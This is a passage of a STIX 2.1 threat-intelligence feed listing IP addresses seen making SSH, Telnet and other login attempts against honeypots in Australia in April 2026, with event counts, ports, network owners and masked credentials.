      "pattern": "[ipv4-addr:value = '182.69.183.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T18:15:04.000Z",
      "valid_until": "2026-05-23T18:15:01.000Z"
    },
    {
      "created": "2026-04-21T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Heralding. Target ports: 5900. Source country: SG. ASN(s): 215311. Organisation(s): Regxa Company for Information Technology Ltd. Passwords observed (masked): 0****0, 9**6.",
      "id": "indicator--632ee066-a250-4f95-a057-d2758a54e15d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.206.77.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T18:15:04.000Z",
      "valid_until": "2026-05-23T18:15:01.000Z"
    },
    {
      "created": "2026-04-21T19:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, a*******4, f****e, **. Passwords observed (masked): 1******8, 3***********4, 3**********4, A*********9, X*****1.",
      "id": "indicator--336d0acc-9e78-433a-9cc0-658bc3d73067",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T19:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.49.239.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:15:33.000Z",
      "valid_until": "2026-05-23T19:15:02.000Z"
    },
    {
      "created": "2026-04-21T19:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a04087b5-cbf4-434f-abd9-4e355dc2ef20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T19:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:15:33.000Z",
      "valid_until": "2026-05-23T19:15:02.000Z"
    },
    {
      "created": "2026-04-21T19:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--1a79e958-92fc-45a4-9626-b7b065d1de0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T19:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.135.193.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:15:33.000Z",
      "valid_until": "2026-05-23T19:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited. Usernames observed (masked): r**t, f****e, 3**********4, a**m, a*******4. Passwords observed (masked): *, 1*******9, 1********0, 1********!, 1****3.",
      "id": "indicator--c38fd536-08a7-4258-ade7-4483b61bb35d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.88.137.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--435c1b4d-6b3b-43bd-ae83-528321b972b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.34.14.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--884c526c-f5c2-4717-9cfa-fc17e3816e76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.190.157.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 210644. Organisation(s): Aeza Group LLC.",
      "id": "indicator--fe8aaae1-9aec-4d18-a134-116b86dd4bce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.45.42.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): Q************..",
      "id": "indicator--2eb31459-8eb4-46ae-a881-94980a171c0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.42.184.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited. Usernames observed (masked): r**t, **, u****u, 3**********4, ***. Passwords observed (masked): **, 1**1, 1*******!, 1**********f, 1**********C.",
      "id": "indicator--18abdc31-fdd5-40d1-996d-f40386b06265",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.26.159.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--24609302-afd6-4ec2-983c-460d2e561599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--0dfe0726-5c44-46ea-9f55-cfe698019d1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.136.13.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): R*******!.",
      "id": "indicator--a2c505fb-b90c-4973-a976-566e09b787d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.82.214.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9770. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--f9bd74c9-4f07-4945-aa9c-b8bbba28d684",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.108.29.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--49b6554b-71f3-4088-bf28-220768122e47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--ab102450-6f31-4c69-ad8d-d359c1a0ae35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--40b0e6ad-060b-4d0b-8532-a43648859ec8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--37c94036-d5e7-489d-ae3c-ecb383d27ad6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:15:15.000Z",
      "valid_until": "2026-05-23T20:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--0078b702-cfa5-4fb7-b65a-67062da432ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n, 1****6, ***. Passwords observed (masked): 1****6, ***, ***.",
      "id": "indicator--aab9205b-cfb8-419f-90ac-fe0d25d4ec84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): *, ***, a***n, u**r. Passwords observed (masked): *, ***, a***n, p**s.",
      "id": "indicator--76295ad3-0956-484e-bd01-dfc6c8d4f910",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): 1***5, ***, p***y, t**t. Passwords observed (masked): 1***5, ***, p***y, t**t.",
      "id": "indicator--fe62d51d-cbc7-403a-bee8-533d3af4a035",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): ***, r**t. Passwords observed (masked): ***, r**t.",
      "id": "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G**********************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--e208436d-90fe-42a6-840c-4103c0cd401b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.224.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--13fc81b0-7618-4973-be19-f5ddb53dc1dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.255.40.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--1edb5d85-d5e0-48f3-b6f3-fe03f70d9f6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '4.247.141.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 226. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, d****y, u****u, 3**********4, a*******4. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, B***@.",
      "id": "indicator--2668b46b-5a36-4471-a1bd-309f0db889fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '57.128.212.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--a571085e-b777-466e-bda8-074f7cfe4304",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.110.107.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T21:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 29436. Organisation(s): Buryanov Konstantin Volodimirovich.",
      "id": "indicator--39756983-cb45-4a72-8805-8c99fdcd4ba5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.240.170.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:15:08.000Z",
      "valid_until": "2026-05-23T21:15:02.000Z"
    },
    {
      "created": "2026-04-21T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BW. ASN(s): 329473. Organisation(s): Click-Connect. Usernames observed (masked): r**t. Passwords observed (masked): C*******..",
      "id": "indicator--140ec4e8-93fb-4c6e-bdd2-6482eb84606b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.208.34.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:15:05.000Z",
      "valid_until": "2026-05-23T22:15:03.000Z"
    },
    {
      "created": "2026-04-21T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 149837. Organisation(s): China Telecom.",
      "id": "indicator--f1195268-1058-4fff-b27c-0fe93456bbba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.227.75.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:15:05.000Z",
      "valid_until": "2026-05-23T22:15:03.000Z"
    },
    {
      "created": "2026-04-21T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--64084698-9467-41e6-94e0-207bfa77fe5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.88.48.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:15:05.000Z",
      "valid_until": "2026-05-23T22:15:03.000Z"
    },
    {
      "created": "2026-04-21T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): s***m. Passwords observed (masked): A*********#.",
      "id": "indicator--0f1b4939-7beb-435b-8988-d6375076eb02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.165.121.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:15:05.000Z",
      "valid_until": "2026-05-23T22:15:03.000Z"
    },
    {
      "created": "2026-04-21T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 17222. Organisation(s): MUNDIVOX DO BRASIL LTDA.",
      "id": "indicator--deb7fede-4e94-4e1b-a3b7-670a385afe0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.196.50.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:15:05.000Z",
      "valid_until": "2026-05-23T22:15:03.000Z"
    },
    {
      "created": "2026-04-21T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, ***, u****u. Passwords observed (masked): P**********5, R********$, Z************#, d***1.",
      "id": "indicator--fdddc31d-3d0e-4f82-859f-6b03e8d9750e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
